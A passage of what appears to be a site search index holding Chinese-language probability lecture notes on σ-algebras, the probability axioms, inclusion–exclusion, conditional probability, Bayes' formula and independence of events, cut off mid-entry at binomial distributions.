<p>\u7531\u8fd9\u4e09\u4e2a\u6761\u4ef6\uff0c\u53ef\u4ee5\u63a8\u5f97\u4e8b\u4ef6\u57df\u6709\u4e0b\u5217\u6027\u8d28\uff1a</p> <ol> <li> <p>\\(\\emptyset \\in \\mathcal{F}\\) \uff08\u56e0 \\(\\emptyset = \\Omega^c\\)\uff09\uff1b</p> </li> <li> <p>\u82e5 \\(A_1, \\ldots, A_n, \\ldots \\in \\mathcal{F}\\)\uff0c\u5219 \\(\\bigcap_{n=1}^\\infty A_n \\in \\mathcal{F}\\) \uff08\u56e0 \\(\\bigcap_{n=1}^\\infty A_n = \\left( \\bigcup_{n=1}^\\infty A_n^c \\right)^c\\)\uff09\uff1b</p> </li> <li> <p>\u82e5 \\(A_1, \\ldots, A_n \\in \\mathcal{F}\\)\uff0c\u5219 \\(\\bigcup_{k=1}^n A_k \\in \\mathcal{F}\\)\uff0c\\(\\bigcap_{k=1}^n A_k \\in \\mathcal{F}\\)\u3002</p> </li> </ol> <p>\u4e8b\u4ef6\u57df\u4e5f\u53ef\u4ee5\u6839\u636e\u95ee\u9898\u9009\u62e9\u3002\u56e0\u4e3a\u5bf9\u540c\u4e00\u4e2a\u6837\u672c\u7a7a\u95f4 \\(\\Omega\\)\uff0c\u53ef\u4ee5\u6709\u5f88\u591a \\(\\sigma\\) -\u4ee3\u6570\u3002\u4f8b\u5982\u6700\u7b80\u5355\u7684\u662f  </p> \\[ \\mathcal{F}_1 = \\{ \\emptyset, \\Omega \\} \\] <p>\u590d\u6742\u7684\u5982 </p> \\[ \\mathcal{F}_2 = \\{ \\Omega \\text{\u7684\u4e00\u5207\u5b50\u96c6} \\}+ \\] <p>\u4e5f\u662f\\(\\sigma\\)-\u4ee3\u6570\uff0c\u6240\u4ee5\u8981\u9002\u5f53\u9009\u62e9\u3002\u7279\u522b\u5730\uff0c\u82e5\\(\\Omega\\)\u4e3a\u6709\u9650\u6216\u53ef\u5217\u4e2a\u6837\u672c\u70b9\u7ec4\u6210\uff0c\u5219\u5e38\u53d6\\(\\Omega\\)\u7684\u4e00\u5207\u5b50\u96c6\u6240\u6210\u7684\u96c6\u7c7b\u4f5c\u4e3a  </p> \\[ \\mathcal{F} \\] <p>\u50cf\u5728\u53e4\u5178\u6982\u7387\u4e2d\u90a3\u6837\u3002\u4e0d\u96be\u9a8c\u8bc1\uff0c\\(\\mathcal{F}\\)\u662f\\(\\sigma\\)-\u4ee3\u6570\u3002</p> <p>\u82e5 \\(\\Omega = \\mathbf{R}\\)\uff08\u4e00\u7ef4\u5b9e\u6570\u5168\u4f53\uff09\uff0c\u6b64\u65f6\u5e38\u53d6\u4e00\u5207\u5de6\u5f00\u53f3\u95ed\u6709\u754c\u533a\u95f4\u548c\u5b83\u4eec\u7684\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u5e76\u3001\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u4ea4\u3001\u9006\u6240\u6210\u7684\u96c6\u7684\u5168\u4f53\u4e3a\\(\\mathcal{F}\\)\uff08\u901a\u5e38\u8bb0\u4e3a\\(\\mathcal{B}\\)\uff09\uff0c\u79f0\u4e3a\u4e00\u7ef4\u6ce2\u96f7\u5c14\uff08Borel\uff09\\(\\sigma\\)-\u4ee3\u6570\uff0c\u5176\u4e2d\u7684\u96c6\u79f0\u4e3a\u4e00\u7ef4\u6ce2\u96f7\u5c14\u96c6\uff0c\u5b83\u662f\u6bd4\u5168\u4f53\u533a\u95f4\u5927\u5f97\u591a\u7684\u4e00\u4e2a\u96c6\u7c7b\u3002</p> <p>\u82e5\\(\\Omega = \\mathbf{R}^{n}\\)n\u7ef4\u5b9e\u6570\u5168\u4f53\uff09\uff0c\u5219\u5e38\u53d6\u4e00\u5207\u5de6\u5f00\u53f3\u95ed\u6709\u754cn\u7ef4\u77e9\u5f62\u548c\u5b83\u4eec\u7684\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u5e76\u3001\uff08\u6709\u9650\u6216\u53ef\u5217\uff09\u4ea4\u3001\u9006\u6240\u6210\u7684\u96c6\u7684\u5168\u4f53\u4e3a\\(\\mathcal{F}\\)\uff08\u901a\u5e38\u8bb0\u4e3a\\(\\mathcal{B}^n\\)\uff09\uff0c\u5b83\u5305\u542b\u4e86\u6211\u4eec\u611f\u5174\u8da3\u7684\u6240\u6709\u60c5\u5f62\uff0c\u79f0\u4e3an\u7ef4\u6ce2\u96f7\u5c14\\(\\sigma\\)-\u4ee3\u6570\u3002</p> <p>\u5982\u679c\u6211\u4eec\u5bf9\\(\\Omega\\)\u7684\u67d0\u4e2a\u5b50\u96c6\u7c7b\\(\\mathcal{C}\\)\u611f\u5174\u8da3\uff0c\u6240\u9009\u7684\u4e8b\u4ef6\u57df\\(\\mathcal{F}\\)\u53ef\u4ee5\u662f\u5305\u542b\\(\\mathcal{C}\\)\u7684\u6700\u5c0f\\(\\sigma\\)-\u4ee3\u6570\uff0c\u8fd9\u79cd\\(\\sigma\\)-\u4ee3\u6570\u662f\u5b58\u5728\u7684\uff0c\u56e0\u4e3a\uff1a</p> <ol> <li>\u81f3\u5c11\u6709\u4e00\u4e2a\u5305\u542b\\(\\mathcal{C}\\)\u7684\\(\\sigma\\)-\u4ee3\u6570\uff0c\u5373\u4e0a\u8ff0\\(\\mathcal{F}_2\\)\uff1b</li> <li>\u82e5\u6709\u5f88\u591a\u5305\u542b\\(\\mathcal{C}\\)\u7684\\(\\sigma\\)-\u4ee3\u6570\uff0c\u5219\u5b83\u4eec\u7684\u4ea4\u4e5f\u662f\\(\\sigma\\)-\u4ee3\u6570\uff0c\u4e14\u5c31\u662f\u6700\u5c0f\u7684\u3002</li> </ol> <p>\u7279\u522b\u5730\uff0c\u5982\u679c\u6211\u4eec\u53ea\u5bf9\\(\\Omega\\)\u7684\u4e00\u4e2a\u5b50\u96c6A\u611f\u5174\u8da3\uff0c\u5219\u5305\u542bA\u7684\u6700\u5c0f\\(\\sigma\\)-\u4ee3\u6570\u5c31\u662f  </p> \\[ \\mathcal{F} = \\{ \\emptyset, A, A^c, \\Omega \\}. \\] <p>Note</p> <p>\u6982\u7387\u662f\\(\\mathcal{F}\\)\u4e0a\u7684\u5b9e\u503c\u96c6\u51fd\u6570 \\(A(\\in, \\mathcal{F}) \\rightarrow P(A)\\),\u5e76\u4e14\u6ee1\u8db3\u975e\u8d1f\u6027\uff0c\u89c4\u8303\u6027\uff0c\u53ef\u5217\u53ef\u52a0\u6027\u4e09\u4e2a\u6761\u4ef6(\u516c\u7406)</p> <p>\u6ee1\u8db3\u8fd9\u4e9b\u5b9a\u4e49\u7684\u6982\u7387\u6d4b\u5ea6 \\(P\\) \u5e94\u6ee1\u8db3\u7684\u57fa\u672c\u516c\u5f0f\u6709\u4ee5\u4e0b\u5f0f\uff1a</p> <ul> <li> <p>\\(P(\\emptyset) = 0\\).</p> </li> <li> <p>\u82e5 \\(A_i; A_j = \\emptyset, \\, i, j = 1, 2, \\ldots, n, \\, i \\neq j\\), \u5219</p> </li> </ul> \\[ P \\left( \\sum_{i=1}^{n} A_i \\right) = \\sum_{i=1}^{n} P(A_i). \\] <ul> <li> <p>\\(P(A) = 1 - P(A^c)\\).</p> </li> <li> <p>\u82e5 \\(B \\subseteq A\\), \u5219 \\(P(A - B) = P(A) - P(B)\\).</p> </li> <li> <p>\\(P(A \\cup B) = P(A) + P(B) - P(AB)\\).</p> </li> <li> <p>\\(P(A \\backslash  B)=P(A) - P(AB)\\)</p> </li> <li> <p>(\u591a\u8fd8\u5c11\u8865\u5b9a\u7406\uff0c\u5bb9\u65a5\u539f\u7406)</p> </li> </ul> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_n) = \\sum_{i=1}^{n} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant n} P(A_i A_j) + \\ldots + (-1)^{n-1} P(A_1 A_2 \\ldots A_n). \\] <p>\u8bc1\u660e-\u6570\u5b66\u5f52\u7eb3\u6cd5</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_n) = \\sum_{i=1}^{n} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant n} P(A_i A_j) + \\ldots + (-1)^{n-1} P(A_1 A_2 \\ldots A_n) \\] <ul> <li>\u9a8c\u8bc1\u57fa\u4f8b \\(n = 1\\) \u5f53 \\(n = 1\\) \u65f6\uff0c\u5b9a\u7406\u53d8\u4e3a\uff1a</li> </ul> \\[ P(A_1) = P(A_1) \\] <p>\u663e\u7136\u8fd9\u662f\u6b63\u786e\u7684\uff0c\u6240\u4ee5\u57fa\u4f8b\u6210\u7acb\u3002</p> <ul> <li>\u5f52\u7eb3\u5047\u8bbe \u5047\u8bbe\u5bf9\u4e8e \\(n = k\\) \u65f6\uff0c\u5b9a\u7406\u6210\u7acb\uff0c\u5373\uff1a</li> </ul> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k) = \\sum_{i=1}^{k} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k) \\] <ul> <li>\u8bc1\u660e \\(n = k+1\\) \u65f6\u7684\u60c5\u5f62 \u73b0\u5728\u6211\u4eec\u9700\u8981\u8bc1\u660e\uff0c\u5f53\u6709 \\(k+1\\) \u4e2a\u4e8b\u4ef6 \\(A_1, A_2, \\ldots, A_{k+1}\\) \u65f6\uff0c\u5b9a\u7406\u540c\u6837\u6210\u7acb\u3002</li> </ul> <p>\u9996\u5148\u8003\u8651 \\(P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1})\\)\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1}) = P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) \\cup A_{k+1}) \\] <p>\u5229\u7528\u6982\u7387\u7684\u52a0\u6cd5\u539f\u7406\uff0c\u6709\uff1a</p> \\[ P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) \\cup A_{k+1}) = P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k) + P(A_{k+1}) - P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1}) \\] <p>\u6839\u636e\u5f52\u7eb3\u5047\u8bbe\uff0c\\(P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k)\\) \u53ef\u4ee5\u5c55\u5f00\u4e3a\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_k) = \\sum_{i=1}^{k} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k) \\] <p>\u56e0\u6b64\uff0c\u539f\u5f0f\u53d8\u4e3a\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1}) =  \\\\ \\left(\\sum_{i=1}^{k} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k)\\right) + P(A_{k+1}) - P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1}) \\] <p>\u6ce8\u610f\uff0c\\(P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1})\\) \u53ef\u4ee5\u5c55\u5f00\u4e3a\uff1a</p> \\[ P((A_1 \\cup A_2 \\cup \\ldots \\cup A_k) A_{k+1}) = \\sum_{i=1}^{k} P(A_i A_{k+1}) - \\sum_{1 \\leqslant i &lt; j \\leqslant k} P(A_i A_j A_{k+1}) + \\ldots + (-1)^{k-1} P(A_1 A_2 \\ldots A_k A_{k+1}) \\] <p>\u5c06\u5176\u4ee3\u5165\u4e4b\u524d\u7684\u516c\u5f0f\u4e2d\uff0c\u5f97\u5230\uff1a</p> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_{k+1}) = \\sum_{i=1}^{k+1} P(A_i) - \\sum_{1 \\leqslant i &lt; j \\leqslant k+1} P(A_i A_j) + \\ldots + (-1)^{k} P(A_1 A_2 \\ldots A_{k+1}) \\] <p>\u8fd9\u6b63\u662f\u6211\u4eec\u9700\u8981\u8bc1\u660e\u7684 \\(n = k+1\\) \u7684\u60c5\u5f62\u3002</p> <ul> <li>(\u6b21\u53ef\u52a0\u6027)</li> </ul> \\[ P(A_1 \\cup A_2 \\cup \\ldots \\cup A_n) \\leqslant \\sum_{i=1}^{n} P(A_i).  \\]"},{"location":"NOTE/Probability/first/#_11","title":"\u6982\u7387\u6d4b\u5ea6\u7684\u8fde\u7eed\u6027","text":"<p>\u7ed9\u5b9a\u4e00\u6982\u7387\u7a7a\u95f4 \\((\\Omega, \\mathcal{F}, P)\\)\uff0c\u5047\u8bbe \\(A_1, A_2, \\ldots\\) \u662f\u4e00\u5217\u5355\u8c03\u589e\u52a0\u7684\u4e8b\u4ef6\u5e8f\u5217\uff0c\u5373</p> \\[ A_1 \\subset A_2 \\subset \\cdots \\subset A_n \\subset \\cdots \\] <p>\u8bb0 \\(A = \\bigcup_{n=1}^{\\infty} A_n\\)\uff0c\u79f0 \\(A\\) \u4e3a \\(A_n\\) \u7684\u6781\u9650\u3002\u4ece\u516c\u7406\u5316\u5b9a\u4e49\u53ef\u4ee5\u770b\u51fa\uff0c\\(A\\) \u4ecd\u7136\u662f\u4e00\u4e2a\u4e8b\u4ef6\u3002\u4e0b\u9762\u5b9a\u7406\u7ed9\u51fa\u8be5\u4e8b\u4ef6\u7684\u6982\u7387\u5927\u5c0f\u3002</p> <p>\u5982\u679c \\(A_1, A_2, \\ldots\\) \u662f\u4e00\u5217\u5355\u8c03\u589e\u52a0\u7684\u4e8b\u4ef6\u5e8f\u5217\uff0c\u5177\u6709\u6781\u9650 \\(A\\)\uff0c\u90a3\u4e48\uff0c</p> \\[ P(A) = \\lim_{n \\to \\infty} P(A_n) . \\]"},{"location":"NOTE/Probability/first/#_12","title":"\u4e8b\u4ef6\u7684\u4e0a\u6781\u9650\u548c\u4e0b\u6781\u9650","text":"<p>\u4e8b\u4ef6\u662f\u6837\u672c\u70b9\u7684\u96c6\u5408\uff0c\u4e8b\u4ef6\u7684\u4e0a\u7ea7\u9650\u548c\u4e0b\u6781\u9650\u662f\u4e8b\u4ef6\u7684\u96c6\u5408\u7684\u6781\u9650\u3002</p> <p>\u5bf9\u4e8e\u4e00\u4e2a\u96c6\u5408\u5e8f\u5217\uff0c\u6211\u4eec\u5b9a\u4e49\u5176\u4e0a\u6781\u9650\u548c\u4e0b\u6781\u9650\u5982\u4e0b\uff1a</p> <p>Definition</p> <p>\u8bbe \\(\\{ A_n \\}_{n=1}^{\\infty}\\) \u662f\u4e00\u5217\u4e8b\u4ef6\u5e8f\u5217\uff0c\u5b9a\u4e49</p> \\[ \\limsup_{n \\to \\infty} A_n = \\bigcap_{n=1}^{\\infty} \\bigcup_{k=n}^{\\infty} A_k \\] <p>\u4e3a\u4e8b\u4ef6 \\(A_n\\) \u7684\u4e0a\u6781\u9650\uff0c\u800c</p> \\[ \\liminf_{n \\to \\infty} A_n = \\bigcup_{n=1}^{\\infty} \\bigcap_{k=n}^{\\infty} A_k \\] <p>\u4e3a\u4e8b\u4ef6 \\(A_n\\) \u7684\u4e0b\u6781\u9650\u3002</p> <p>\u5176\u5b9e\u7406\u89e3\u8d77\u6765\u4e5f\u662f\u4e0d\u56f0\u96be\u7684\uff0c\u5bf9\u4e8e\u4e0a\u6781\u9650</p> <p>\u53ef\u4ee5\u8bbe\\(B_n=\\bigcup_{k=n}^{\\infty} A_k\\)\uff0c\u5219\\(B_1\\supset B_2 \\supset \\cdots\\)\uff0c\u5373\\(B_n\\)\u662f\u5355\u8c03\u9012\u51cf\u7684(\u56e0\u4e3a\u53c2\u4e0e\u5e76\u7684\u96c6\u5408\u8d8a\u6765\u8d8a\u5c11\u4e86)\uff0c\u6211\u4eec\u53d6\u8fd9\u4e2a\u5355\u8c03\u9012\u51cf\u7684\u5e8f\u5217\u7684\u4ea4(\u4e5f\u5c31\u76f8\u5f53\u4e8e\u53d6\u6781\u9650,\u4ece\u6700\u5927\u7684\u5f00\u59cb\u4e0d\u65ad\u5254\u9664\u91cc\u9762\u591a\u4f59\u7684\u5143\u7d20)\uff0c\u5c31\u662f\u4e0a\u6781\u9650</p> <p>\u800c\u5bf9\u4e8e\u4e0b\u6781\u9650\uff0c\u6211\u4eec\u53ef\u4ee5\u8bbe\\(C_n=\\bigcap_{k=n}^{\\infty} A_k\\)\uff0c\u5219\\(C_1\\subset C_2 \\subset \\cdots\\)\uff0c\u5373\\(C_n\\)\u662f\u5355\u8c03\u9012\u589e\u7684(\u56e0\u4e3a\u53c2\u4e0e\u4ea4\u7684\u96c6\u5408\u8d8a\u6765\u8d8a\u5c11\u4e86)\uff0c\u6211\u4eec\u53d6\u8fd9\u4e2a\u5355\u8c03\u9012\u589e\u7684\u5e8f\u5217\u7684\u5e76(\u4e5f\u5c31\u76f8\u5f53\u4e8e\u53d6\u6781\u9650,\u4ece\u6700\u5c0f\u7684\u5f00\u59cb\u4e0d\u65ad\u6dfb\u52a0\u91cc\u9762\u7f3a\u5931\u7684\u5143\u7d20)\uff0c\u5c31\u662f\u4e0b\u6781\u9650</p> <p>Example</p> \\[\\begin{align*}    A_1 &amp;=\\{1,2,3\\} \\\\    A_2 &amp;=\\{2,3,4\\} \\\\    A_3 &amp;=\\{3,4\\} \\\\    A_4 &amp;=\\{2\uff0c4\\} \\\\    A_k &amp;=\\{2,3,4\\} \u6216\u8005 \\{3,4\\} \u6216\u8005 \\{2,4\\} \\enspace k \\geqslant 4 \\\\ \\end{align*}\\] <p>\u5219\u6709</p> <p>\u4e0a\u6781\u9650\uff1a\\(\\limsup_{n \\to \\infty} A_n = \\{2,3,4\\}\\)</p> <p>\u4e0b\u6781\u9650\uff1a\\(\\liminf_{n \\to \\infty} A_n = \\{4\\}\\)</p>"},{"location":"NOTE/Probability/first/#_13","title":"\u6761\u4ef6\u6982\u7387\u548c\u94fe\u5f0f\u6cd5\u5219","text":"<p>\u6761\u4ef6\u6982\u7387 \\(P(A|B)\\)</p> <p>\u4e8b\u4ef6 \\(B\\) \u53d1\u751f\u6761\u4ef6\u4e0b\u4e8b\u4ef6 \\(A\\) \u53d1\u751f\u7684\u6982\u7387\uff0c\u79f0\u4e3a\u4e8b\u4ef6 \\(A\\) \u5173\u4e8e\u4e8b\u4ef6 \\(B\\) \u7684 \u6761\u4ef6\u6982\u7387 (conditional probability) </p> <p>\u6709\u57fa\u672c\u516c\u5f0f:</p> \\[     P(A|B)=\\frac{P(AB)}{P(B)} \\] <p>\u4e5f\u53ef\u4ee5\u8868\u793a\u4e3a \u94fe\u5f0f\u6cd5\u5219(\u4e58\u6cd5\u516c\u5f0f) \u7684\u5f62\u5f0f\uff1a</p> \\[     P(AB)=P(A|B)P(B) \\] \u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6 <p>\u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6\uff0c\u6709\u94fe\u5f0f\u6cd5\u5219\uff1a</p> \\[     P\\left(\\prod_{i=i}^nA_i\\right)=\\prod_{i=1}^n P\\left(A_i\\bigg|\\prod_{j=1}^{i-1}A_j\\right) \\] <p>\u7279\u522b\u5b9a\u4e49 \\(a&gt;b\\) \u65f6\uff0c\\(\\prod_{i=a}^bA_i\\) \u4e3a\u5fc5\u7136\u4e8b\u4ef6\u3002</p> \\[     P\\left(A_{1} A_{2} \\cdots A_{n}\\right) =     P\\left(A_{1}\\right) \\cdot P\\left(A_{2} \\mid A_{1}\\right) \\cdot P\\left(A_{3} \\mid A_{1} A_{2}\\right) \\cdots P\\left(A_{n} \\mid A_{1} A_{2} \\cdots A_{n-1}\\right) \\]"},{"location":"NOTE/Probability/first/#_14","title":"\u5168\u6982\u7387\u516c\u5f0f","text":"<p>\u5206\u5272(\u5b8c\u5907\u4e8b\u4ef6\u7ec4)</p> <p>\u5728\u6982\u7387\u7a7a\u95f4 (\\(\\Omega, \\mathcal{F}, P\\)) \u4e2d\uff0c\u82e5\u4e8b\u4ef6 \\(\\{A_1, A_2, \\cdots, A_n\\}\\)(\\(n&lt;\\infty\\) \u6216 \\(n=\\infty\\)) \u6ee1\u8db3\uff1a</p> <ol> <li>\\(A_i\\) \u4e24\u4e24\u4e92\u4e0d\u76f8\u5bb9(\u4e0d\u53ef\u80fd\u540c\u65f6\u53d1\u751f)\uff0c\u4e14 \\(P(A_i)&gt;0\\)</li> <li> \\[\\sum_{i=1}^\\infty A_i=\\Omega\\] </li> </ol> <p>\u5219\u79f0 \\(\\{A_1, A_2, \\cdots, A_n\\}\\) \u6784\u6210 \\(\\Omega\\) \u7684\u4e00\u4e2a \u5206\u5272(\u5b8c\u5907\u4e8b\u4ef6\u7ec4)</p> <p>\u5168\u6982\u7387 (total probability) \u516c\u5f0f</p> <p>\u5728\u6982\u7387\u7a7a\u95f4 (\\(\\Omega, \\mathcal{F}, P\\)) \u4e2d\uff0c\u82e5 \\(\\{A_1, A_2, \\cdots, A_n\\}\\)(\\(n&lt;\\infty\\) \u6216 \\(n=\\infty\\)) \u6784\u6210 \\(\\Omega\\) \u7684\u4e00\u4e2a \u5206\u5272(\u5b8c\u5907\u4e8b\u4ef6\u7ec4) \uff0c</p> <p>\u5219\u6709 \u5168\u6982\u7387\u516c\u5f0f \u6210\u7acb\uff1a\\(\\forall B\\in \\mathcal{F}\\)\uff0c\u6709</p> \\[     P(B)=\\sum_{i=1}^nP(A_i)P(B|A_i) \\] Proof \\[ \\begin{aligned}     P(B)&amp;=P(B\\Omega)\\\\     &amp;=P\\left(B\\sum_{i=1}^nA_i\\right)\\\\     &amp;=P\\left(\\sum_{i=1}^nBA_i\\right)\\\\     &amp;=\\sum_{i=1}^nP(BA_i)\\\\     &amp;=\\sum_{i=1}^nP(A_i)P(B|A_i) \\end{aligned} \\]"},{"location":"NOTE/Probability/first/#_15","title":"\u8d1d\u53f6\u65af\u516c\u5f0f","text":"<p>\u8d1d\u53f6\u65af (Bayes) \u516c\u5f0f</p> \\[ P(A_i|B)=\\dfrac{P(A_i)P(B|A_i)} {\\sum_{k=1}^\\infty P(A_k)P(B|A_k)} \\] <p>Proof</p> <p>\\(P(A_i|B)=\\dfrac{P(A_iB)}{P(B)}\\)\uff0c\u5206\u5b50\u7528\u94fe\u5f0f\u6cd5\u5219\u5c55\u5f00\uff0c\u5206\u6bcd\u7528\u5168\u6982\u7387\u516c\u5f0f\u5c55\u5f00\u3002</p> <p>\u6df1\u5165\u4e86\u89e3\u6761\u4ef6\u6982\u7387\u7684\u610f\u4e49</p> <p>\\(P(A_i)\\)\uff1a\u4e0d\u77e5 \\(B\\) \u662f\u5426\u53d1\u751f\uff0c\u79f0\u4e3a \u5148\u9a8c (priori) \u6982\u7387</p> <p>\\(P(A_i|B)\\)\uff1a\u4ee5 \\(B\\) \u53d1\u751f\u4e3a\u5df2\u77e5\u6761\u4ef6\uff0c\u79f0\u4e3a \u540e\u9a8c (posteriori) \u6982\u7387</p>"},{"location":"NOTE/Probability/first/#_16","title":"\u4e8b\u4ef6\u72ec\u7acb\u6027","text":""},{"location":"NOTE/Probability/first/#_17","title":"\u4e24\u4e2a\u4e8b\u4ef6\u7684\u72ec\u7acb\u6027","text":"<p>\\(A\\) \u4e0e \\(B\\) \u76f8\u4e92\u72ec\u7acb(\u7edf\u8ba1\u72ec\u7acb)</p> <p>\u79f0\u4e8b\u4ef6 \\(A\\) \u4e0e\u4e8b\u4ef6 \\(B\\) \u76f8\u4e92\u72ec\u7acb(\u7edf\u8ba1\u72ec\u7acb\uff0cstatistical independence)\uff0c\u5982\u679c\u6ee1\u8db3</p> \\[     P(AB)=P(A)\\cdot P(B) \\] <p>\u56e0\u4e3a\u6b64\u65f6\u6709</p> \\[     P(A|B)=\\frac{P(AB)}{P(B)}=P(A) \\] <p>\u4e14</p> \\[     P(B|A)=\\frac{P(AB)}{P(A)}=P(B) \\] <p>\u5982\u679c \\(A\\) \u4e0e \\(B\\) \u4e0d\u76f8\u4e92\u72ec\u7acb\uff0c\u4e5f\u79f0\u4e3a \u7edf\u8ba1\u76f8\u4f9d (statistical dependence)</p>"},{"location":"NOTE/Probability/first/#_18","title":"\u591a\u4e2a\u4e8b\u4ef6\u7684\u72ec\u7acb\u6027","text":"<p>\u5bf9\u4e8e\u4e00\u7ec4\u4e8b\u4ef6 \\(A_1,A_2,\\cdots,A_n\\)\uff0c\u5b58\u5728\u4e24\u4e24\u72ec\u7acb\u548c\u6574\u4f53\u7684\u76f8\u4e92\u72ec\u7acb\u4e24\u79cd\u6982\u5ff5\u3002</p> <p>\u4e0d\u59a8\u5148\u4ee5\u4e09\u4e2a\u4e8b\u4ef6 \\(A,B,C\\) \u4e3a\u4f8b\u8fdb\u884c\u7814\u7a76\u3002</p> <ul> <li> <p>\u4e24\u4e24\u72ec\u7acb\uff1a\u5373 \\(A\\) \u4e0e \\(B\\) \u76f8\u4e92\u72ec\u7acb\uff0c\\(B\\) \u4e0e \\(C\\) \u76f8\u4e92\u72ec\u7acb\uff0c\\(C\\) \u4e0e \\(A\\) \u76f8\u4e92\u72ec\u7acb</p> \\[ \\left\\{\\begin{array}{l}     P(A B)=P(A) \\cdot P(B) \\\\     P(A C)=P(A) \\cdot P(C) \\\\     P(B C)=P(B) \\cdot P(C)     \\end{array}\\right. \\] <p>\u4f46\u662f\u6709\u53ef\u80fd</p> \\[ P(ABC) \\neq P(A)\\cdot P(B)\\cdot P(C) \\] </li> <li> <p>\u6574\u4f53\u76f8\u4e92\u72ec\u7acb\uff1a\u5373\u6ee1\u8db3</p> \\[ P(ABC)=P(A)\\cdot P(B)\\cdot P(C) \\] </li> </ul> <p>\u540c\u65f6\u6ee1\u8db3\u4e24\u4e24\u72ec\u7acb\u548c\u6574\u4f53\u7684\u76f8\u4e92\u72ec\u7acb\uff0c\u624d\u80fd\u8bf4 \\(A, B, C\\) \u76f8\u4e92\u72ec\u7acb\u3002 \u4e14A\u4e0eBC\u7684\u5e76\uff0c\u4ea4\uff0c\u5dee\u7b49\u4e5f\u662f\u72ec\u7acb\u7684\u3002</p> \u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6 <p>\u63a8\u5e7f\u5230 \\(n\\) \u4e2a\u4e8b\u4ef6\uff0c\\(A_1,A_2,\\cdots,A_n\\) \u76f8\u4e92\u72ec\u7acb\u9700\u8981\u6ee1\u8db3\uff1a\\(\\forall r&lt;n\\)\uff0c\\(A_1,A_2,\\cdots,A_n\\) \u4e2d\u4efb\u610f \\(r\\) \u4e2a\u4e8b\u4ef6\u90fd\u76f8\u4e92\u72ec\u7acb\uff0c\u4e14</p> \\[     P\\left(\\prod_{i=1}^nA_i\\right)=\\prod_{i=1}^n P(A_i) \\] <p>\u6216\u8005\u53ef\u4ee5\u76f4\u63a5\u8fd9\u4e48\u5b9a\u4e49\uff1a\\(A_1,A_2,\\cdots,A_n\\) \u76f8\u4e92\u72ec\u7acb\uff0c\u5982\u679c</p> \\[\\forall r \\leqslant n (r\\in \\mathbf{N_+}),\\; P \\left( \\prod_{i=1}^r A_{n_i} \\right) = \\prod_{i=1}^r P(A_{n_i}),\\; 1 \\leqslant n_1 &lt; n_2 &lt; \\cdots &lt;n_r \\leqslant n\\]"},{"location":"NOTE/Probability/first/#_19","title":"\u4f2f\u52aa\u5229\u8bd5\u9a8c","text":"<p>\u4f2f\u52aa\u5229\u6982\u578b\uff08Bernoulli trial\uff09\u662f\u6982\u7387\u8bba\u4e2d\u7684\u4e00\u4e2a\u57fa\u672c\u6982\u5ff5\uff0c\u5b83\u63cf\u8ff0\u4e86\u53ea\u6709\u4e24\u4e2a\u53ef\u80fd\u7ed3\u679c\u7684\u968f\u673a\u8bd5\u9a8c\uff0c\u901a\u5e38\u79f0\u4e3a\u201c\u6210\u529f\u201d\u548c\u201c\u5931\u8d25\u201d\u3002\u6bcf\u6b21\u8bd5\u9a8c\u90fd\u662f\u72ec\u7acb\u7684\uff0c\u5e76\u4e14\u6bcf\u6b21\u6210\u529f\u7684\u6982\u7387\u90fd\u662f\u76f8\u540c\u7684\uff0c\u8bb0\u4f5c \\( p \\)\uff0c\u800c\u5931\u8d25\u7684\u6982\u7387\u5219\u4e3a \\( 1-p \\)\u3002</p> <p>\u4f2f\u52aa\u5229\u6982\u578b\u7684\u7279\u70b9\u5305\u62ec\uff1a</p> <ol> <li>\u53ea\u6709\u4e24\u4e2a\u7ed3\u679c\uff1a\u6bcf\u6b21\u8bd5\u9a8c\u7684\u7ed3\u679c\u53ea\u80fd\u662f\u6210\u529f\u6216\u5931\u8d25\u3002</li> <li>\u72ec\u7acb\u6027\uff1a\u6bcf\u6b21\u8bd5\u9a8c\u7684\u7ed3\u679c\u4e0d\u4f1a\u5f71\u54cd\u5176\u4ed6\u8bd5\u9a8c\u3002</li> <li>\u56fa\u5b9a\u7684\u6210\u529f\u6982\u7387\uff1a\u6bcf\u6b21\u8bd5\u9a8c\u4e2d\u6210\u529f\u7684\u6982\u7387 \\( p \\) \u662f\u4e0d\u53d8\u7684\u3002</li> </ol> <p>\u4f2f\u52aa\u5229\u6982\u578b\u5e38\u7528\u4e8e\u5efa\u6a21\u5404\u79cd\u73b0\u5b9e\u60c5\u51b5\uff0c\u6bd4\u5982\u629b\u786c\u5e01\u3001\u8c03\u67e5\u6295\u7968\u7b49\u3002\u5728\u591a\u4e2a\u4f2f\u52aa\u5229\u8bd5\u9a8c\u7684\u57fa\u7840\u4e0a\uff0c\u6709\u4e8c\u9879\u5206\u5e03</p> <p>\u4e8c\u9879\u5206\u5e03(Binomial 